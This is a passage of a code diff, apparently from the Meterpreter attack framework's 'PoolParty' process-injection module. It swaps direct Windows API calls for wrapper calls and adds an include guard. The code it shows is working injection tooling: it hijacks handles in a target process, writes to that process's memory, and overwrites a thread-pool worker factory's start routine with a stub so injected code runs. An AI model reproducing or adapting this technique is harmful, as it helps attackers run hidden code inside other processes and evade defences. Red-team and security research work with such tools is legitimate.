@@ -214,7 +214,7 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
214214 }
215215 dprintf ("[INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: %p" , lpObjectInfo );
216216 for (ULONG i = 0 ; i < lpProcessInfo -> NumberOfHandles ; i ++ ) {
217- if (DuplicateHandle (hProcess , lpProcessInfo -> Handles [i ].HandleValue , hCurrProcess , & hHijackHandle , dwDesiredAccess , FALSE, 0 )) {
217+ if (met_api -> win_api . kernel32 . DuplicateHandle (hProcess , lpProcessInfo -> Handles [i ].HandleValue , hCurrProcess , & hHijackHandle , dwDesiredAccess , FALSE, 0 )) {
218218 ntStatus = pNtDll -> pNtQueryObject (hHijackHandle , ObjectTypeInformation , lpObjectInfo , dwInformationSizeIn , & dwInformationSizeOut );
219219 dprintf ("[INJECT][inject_via_poolparty][get_remote_handle] pNtQueryObject result: %p" , ntStatus );
220220 if (dwInformationSizeIn >= dwInformationSizeOut ) {
@@ -234,7 +234,7 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
234234 break ;
235235 }
236236 }
237- CloseHandle (hHijackHandle );
237+ met_api -> win_api . kernel32 . CloseHandle (hHijackHandle );
238238 }
239239 hHijackHandle = INVALID_HANDLE_VALUE ;
240240 }
@@ -284,7 +284,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
284284 if (!RemoteDirectAddress ) {
285285 BREAK_WITH_ERROR ("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress." , ERROR_NOT_SUPPORTED )
286286 }
287- if (!WriteProcessMemory (hProcess , RemoteDirectAddress , lpDirect , TP_DIRECT_STRUCT_SIZE_X64 , NULL )) {
287+ if (!met_api -> win_api . kernel32 . WriteProcessMemory (hProcess , RemoteDirectAddress , lpDirect , TP_DIRECT_STRUCT_SIZE_X64 , NULL )) {
288288 BREAK_WITH_ERROR ("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory." , ERROR_NOT_SUPPORTED )
289289 }
290290 dwResult = pNtDll -> pZwSetIoCompletion (hHijackHandle , RemoteDirectAddress , lpParameter , 0 , 0 );
@@ -360,11 +360,11 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio
360360 if (lpOriginalBytes == NULL ) {
361361 BREAK_WITH_ERROR ("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] OriginalBytes is NULL" , ERROR_NOT_SUPPORTED );
362362 }
363- if (!ReadProcessMemory (hProcess , WorkerFactoryBasicInfo .StartRoutine , lpOriginalBytes , dwStubSize , NULL )) {
363+ if (!met_api -> win_api . kernel32 . ReadProcessMemory (hProcess , WorkerFactoryBasicInfo .StartRoutine , lpOriginalBytes , dwStubSize , NULL )) {
364364 BREAK_WITH_ERROR ("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ReadProcessMemory failed." , ERROR_NOT_SUPPORTED );
365365 }
366366 SIZE_T szWritten = 0 ;
367- if (!WriteProcessMemory (hProcess , WorkerFactoryBasicInfo .StartRoutine , lpStub , dwStubSize , & szWritten ) || szWritten != dwStubSize ) {
367+ if (!met_api -> win_api . kernel32 . WriteProcessMemory (hProcess , WorkerFactoryBasicInfo .StartRoutine , lpStub , dwStubSize , & szWritten ) || szWritten != dwStubSize ) {
368368 BREAK_WITH_ERROR ("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WriteProcessMemory failed, couldn't write stub to WorkerFactory's start routine." , ERROR_NOT_SUPPORTED );
369369 }
370370
@@ -397,7 +397,7 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio
397397 dprintf ("[INJECT][inject_via_poolparty][DEBUG WORKER FACTORY] WorkerFactoryBasicInfo.LastThreadCreationStatus = %p" , WorkerFactoryBasicInfo .LastThreadCreationStatus );
398398 //
399399
400- if (!WriteProcessMemory (hProcess , WorkerFactoryBasicInfo .StartRoutine , lpOriginalBytes , dwStubSize , & szWritten ) || szWritten != dwStubSize ) {
400+ if (!met_api -> win_api . kernel32 . WriteProcessMemory (hProcess , WorkerFactoryBasicInfo .StartRoutine , lpOriginalBytes , dwStubSize , & szWritten ) || szWritten != dwStubSize ) {
401401 BREAK_WITH_ERROR ("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WriteProcessMemory failed, couldn't restore the original bytes." , ERROR_NOT_SUPPORTED );
402402 }
403403 WorkerFactoryBasicInfo .ThreadMinimum = uThreadMinimum ;
@@ -457,3 +457,4 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio
457457// } while (0);
458458// return dwResult;
459459//}
460+ #endif //_METERPRETER_POOLPARTY_C
0 commit comments